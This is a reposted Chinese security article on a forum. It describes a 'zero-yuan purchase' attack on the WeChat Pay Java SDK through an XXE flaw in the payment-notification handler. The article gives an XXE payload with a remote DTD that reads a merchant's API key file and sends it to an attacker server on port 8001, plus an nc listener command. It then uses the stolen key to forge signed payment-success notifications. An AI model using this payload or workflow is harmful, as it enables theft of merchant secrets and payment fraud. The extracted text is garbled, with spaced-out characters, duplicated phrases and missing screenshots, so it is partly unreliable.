搜索

[12923] 2018-07-09_微信支付SDK0元购Hack思路分享

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2018-07-09_微信支付SDK0元购Hack思路分享 微 信 支 付 S D K   0 元 购 H a c k 思 路 分 享 z j i e 2 O 7 1   F r e e B u f   2 0 1 8 - 0 7 - 0 9 *   本 文 作 者 ： 本 文 作 者 ： z j i e 2 O 7 1 ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 P S ： 本 文 仅 用 于 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 用 途 ： 本 文 仅 用 于 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 用 途 前 提 ： 前 提 ： 之 前 有 网 友 分 享 了 微 信 支 付 S D K 的 X X E 漏 洞 ， 语 言 版 本 为 J A V A ， 有 很 多 朋 友 问 我 0 元 购 的 h a c k 思 路 ， 我 查 阅 了 一 下 微 信 支 付 的 官 方 文 档 ， 配 合 简 单 的 X X E 做 了 一 些 攻 击 演 示 。 漏 洞 详 情 ： 漏 洞 详 情 ： h t t p : / / s e c l i s t s . o r g / f u l l d i s c l o s u r e / 2 0 1 8 / J u l / 3 S D K 受 影 响 版 本 下 载 地 址 ： 漏 洞 代 码 位 置 ： c o m . g i t h u b . w x p a y . s d k . W X P a y U t i l . j a v a x m l T o M a p 函 数 。 漏 洞 代 码 ： 引 用 位 置 ： 查 看 S D K 给 的 R E A D M E . m d 说 明 ， 其 中 表 示 在 支 付 结 果 的 回 掉 接 口 n o t i f y _ u r l   处 使 用 ， 内 部 调 用 截 图 如 下 ： 这 里 在 构 建 n o t i f y M a p 对 象 的 时 候 缺 陷 方 法 被 调 用 。 为 了 更 方 便 的 理 解 演 示 场 景 ， 我 们 先 在 这 里 了 解 一 下 微 信 支 付 S D K 处 理 支 付 结 果 的 接 口 校 验 签 名 的 过 程 ： 尝 试 着 追 踪 w x p a y . i s P a y R e s u l t N o t i f y S i g n a t u r e V a l i d ( n o t i f y M a p ) ， 追 踪 到 了 最 下 面 这 个 判 断 签 名 的 函 数 ， 代 码 截 图 如 下 ： 功 能 上 注 释 已 经 说 的 很 明 确 ， 我 解 释 一 下 三 个 参 数 的 意 思 ， 函 数 传 递 的 d a t a 参 数 表 示 将 外 部 传 递 来 的 x m l 数 据 转 化 为 M a p 数 据 结 构 的 对 象 ， k e y 是 商 户 用 来 签 名 的 A P I 密 钥 ， s i g n T y p e 则 表 示 签 名 的 方 式 ， 为 空 则 表 示 默 认 是 m d 5 的 方 式 。 这 里 是 一 个 简 单 的 签 名 校 验 函 数 ， 这 里 的 关 键 在 于 k e y 是 商 户 定 义 的 ， 而 d a t a 和 s i g n T y p e 字 段 则 都 可 以 人 为 控 制 ， 所 以 在 我 构 建 的 攻 击 场 景 里 需 要 人 为 的 去 读 取 配 置 文 件 里 的 k e y 值 。 本 地 场 景 搭 建 ： e c l i p s e 引 入 下 载 的 微 信 S D K 支 付 文 件 ， 文 件 结 果 如 下 图 所 示 ， 下 图 红 线 处 是 需 要 自 己 加 的 类 ： h t t p s : / / p a y . w e i x i n . q q . c o m / w i k i / d o c / a p i / d o w n l o a d / W x P a y A P I _ J A V A _ v 3 . z i p p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {             S t r i n g   n o t i f y D a t a   =   " . . . . " ;   / /   支 付 结 果 通 知 的 x m l 格 式 数 据             M y C o n f i g   c o n f i g   =   n e w   M y C o n f i g ( ) ;             W X P a y   w x p a y   =   n e w   W X P a y ( c o n f i g ) ;             M a p < S t r i n g ,   S t r i n g >   n o t i f y M a p   =   W X P a y U t i l . x m l T o M a p ( n o t i f y D a t a ) ;     / /   转 换 成 m a p             i f   ( w x p a y . i s P a y R e s u l t N o t i f y S i g n a t u r e V a l i d ( n o t i f y M a p ) )   {                     / /   签 名 正 确                     / /   进 行 处 理 。                     / /   注 意 特 殊 情 况 ： 订 单 已 经 退 款 ， 但 收 到 了 支 付 结 果 成 功 的 通 知 ， 不 应 把 商 户 侧 订 单 状 态 从 退 款 改 成 支 付 成 功             }             e l s e   {                     / /   签 名 错 误 ， 如 果 数 据 里 没 有 s i g n 字 段 ， 也 认 为 是 签 名 错 误             }
打 开 看 一 下 M y C o n f i g . j a v a 的 内 容 ， 其 实 是 继 承 了 W X P a y C o n f i g 类 ， 写 上 需 要 实 现 抽 象 方 法 即 可 。 m a i n . j a v a 类 里 面 是 模 拟 写 了 一 次 业 务 逻 辑 的 函 数 ， 下 面 的 n o t i f y D a t a 参 数 就 是 模 拟 外 部 传 入 的 脏 数 据 ， 如 下 图 ： 在 根 目 录 下 新 建 演 示 文 件 ， 里 面 模 拟 写 入 k e y 值 ， 如 下 图 ： 利 用 微 信 的 X X E 漏 洞 ： 这 里 我 放 上 几 篇 X X E 漏 洞 利 用 的 博 客 ， 写 的 蛮 好 的 ， 这 个 环 节 有 困 难 的 同 学 可 以 看 看 。 h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 9 7 8 3 3 . h t m l h t t p : / / b l o g . l e a n o t e . c o m / p o s t / x u x i / X X E % E 6 % 8 0 % B B % E 7 % B B % 9 3 h t t p s : / / w w w . x u e h u a . u s / 2 0 1 8 / 0 4 / 1 3 / % E 8 % A E % B 0 % E 4 % B 8 % 8 0 % E 6 % A C % A 1 % E 5 % 8 8 % A 9 % E 7 % 9 4 % A 8 b l i n d - o o b - x x e % E 6 % B C % 8 F % E 6 % B 4 % 9 E % E 8 % 8 E % B 7 % E 5 % 8 F % 9 6 % E 6 % 9 6 % 8 7 % E 4 % B B % B 6 % E 7 % B 3 % B B % E 7 % B B % 9 F % E 8 % A E % B F % E 9 % 9 7 % A E % E 6 % 9 D % 8 3 % E 9 % 9 9 % 9 0 % E 7 % 9 A % 8 4 % E 6 % B 5 % 8 B % E 8 % A F % 9 5 / 类 似 的 基 础 教 程 有 很 多 ， 有 不 理 解 的 可 以 去 网 上 搜 搜 看 。 微 信 的 X X E 漏 洞 ， 利 用 流 程 链 表 如 下 ： 向 商 户 的 n o t i f y _ u r l 接 口 发 送 d t d 脏 数 据 ， 商 户 服 务 器 加 载 远 程 d t d 文 件 ， 商 户 服 务 器 将 k e y 值 发 送 至 a t t a c k 服 务 器 。 这 里 我 分 成 了 三 步 ， 我 们 分 批 次 看 一 下 ： 第 一 步 ： 构 造 的 恶 意 X X E 数 据 ， 如 下 ： < ? x m l v e r s i o n = ” 1 . 0 ”   e n c o d i n g = ” u t f - 8 ” ? > < ! D O C T Y P E   A N Y   [   < ! E N T I T Y   %   p a y l o a d   S Y S T E M ” f i l e : / / / / p a t h / k e y . t x t ” > < ! E N T I T Y   %   r e m o t e S Y S T E M ” h t t p : / / p u b l i c s e r v e r : 8 0 0 0 / t e s t 2 . d t d “ > % r e m o t e ; % a l l ; % s e n d ; ] > 1 代 码 块 如 下 图 所 示 ：
第 二 步 ： 远 程 的 d t d 文 件 内 容 如 下 ： 第 三 步 ： 在 p u b l i c s e r v e r 上 监 听 8 0 0 1 端 口 ， 观 察 读 到 的 k e y . t x t 的 值 。 指 令 ： n c   – v   – l   8 0 0 1 运 行 结 果 如 下 图 ： 上 图 中 可 以 看 到 G E T 的 路 径 处 ， 我 在 这 里 回 显 读 取 到 的 k e y . t x t 的 值 ， t h i s   i s   k e y   v a l u e ! 构 造 微 信 返 回 值 ： 返 回 值 的 构 造 参 考 微 信 给 出 的 字 段 解 释 ： h t t p s : / / p a y . w e i x i n . q q . c o m / w i k i / d o c / a p i / n a t i v e . p h p ? c h a p t e r = 9 _ 7 & i n d e x = 8 示 例 构 造 如 下 图 所 示 ： 读 取 到 k e y 之 后 ， 我 们 在 本 地 模 拟 将 数 据 转 化 成 M a p 对 象 与 k e y 值 进 行 加 密 ， 加 密 方 式 不 写 则 默 认 为 m d 5 ， 就 达 到 了 欺 骗 的 效 果 。 < ! E N T I T Y   %   a l l " < ! E N T I T Y   & # x 2 5 ;   s e n d   S Y S T E M   ' h t t p : / / p u b l i c s e r v e r : 8 0 0 1 / % p a y l o a d ; ' > " >
结 尾 ： 结 尾 ： 漏 洞 本 身 只 是 很 简 单 的 X X E 漏 洞 造 成 的 任 意 文 件 读 取 ， 因 为 漏 洞 所 处 的 关 键 业 务 点 使 得 造 成 的 损 失 巨 大 ， 但 是 由 于 n o t i f y _ u r l 的 使 用 过 程 中 客 户 全 程 并 不 参 与 ， 所 以 在 我 看 来 n o t i f y _ u r l 的 获 取 方 式 是 该 漏 洞 破 坏 性 的 瓶 颈 。 *   本 文 作 者 ： 本 文 作 者 ： z j i e 2 O 7 1 ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理